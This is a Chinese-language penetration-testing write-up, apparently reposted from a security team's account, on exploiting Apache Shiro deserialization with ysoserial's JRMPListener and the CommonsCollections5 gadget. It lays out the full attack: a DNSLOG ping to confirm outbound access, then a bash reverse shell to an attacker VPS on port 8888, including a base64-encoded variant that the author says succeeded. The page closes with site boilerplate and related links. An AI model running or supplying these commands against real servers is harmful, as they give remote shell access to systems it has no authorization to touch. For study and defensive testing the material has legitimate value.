前言
最近在測試中遇到一些shiro反序列化不能利用的情況 找到key 無法找到利用鏈,但是發現存在JRMPClient可用的情況。

換一種工具嘗試

發現 JRMPClient 可用, 嘗試使用 JRMPClient 進行測試,最終這個目標也沒有執行成功所以換了一個目標進行的嘗試,僅記錄JRMPClient 利用方式。
使用JRMPClient模塊進行測試
找到一個同樣存在shiro反序列的目標。

同樣find: JRMPClient can be use。
搭建JRMPClient 監聽服務
首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服務,下載地址:https://github.com/frohoff/ysoserial
使用DNSLOG進行檢測
在不確定目標是否通外網的情況下 先使用DNSLOG進行檢測 獲取一個新的域名 :w3dh1h.dnslog.cn

VPS上開啟JRMPListener
在VPS上搭建服務命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"

shiro反序列利用工具中選擇JRMPClient,然后輸入VPS上搭建服務的地址:

JRMPListener 收到返回信息

DNSLOG上收到目標的ping 命令信息 說明目標服務器通外網

執行反彈命令
執行反彈命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1

沒有收到反彈鏈接

將命令進行base64編碼 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

成功收到反彈鏈接

審核編輯:湯梓紅
-
模塊
+關注
關注
7文章
2837瀏覽量
53282 -
key
+關注
關注
0文章
53瀏覽量
13334
原文標題:使用JRMPClient模塊進行測試
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
怎樣對電源模塊進行可靠性測試
電源模塊生產測試必備系統
對光模塊進行測試的四大步驟
電源模塊耐壓測試的標準及其規范是什么?要如何測試?
利用ADPD188BI光學煙霧和氣霧劑檢測模塊進行煙霧測試說明
利用ADPD188BI光學煙霧和氣霧劑檢測模塊來進行煙霧測試
如何測試光模塊的性能?需要哪些測試測量設備?
什么是光模塊中的浪涌測試?
電源模塊的短路保護如何通過自動化測試軟件完成測試
使用JRMPClient模塊進行測試
評論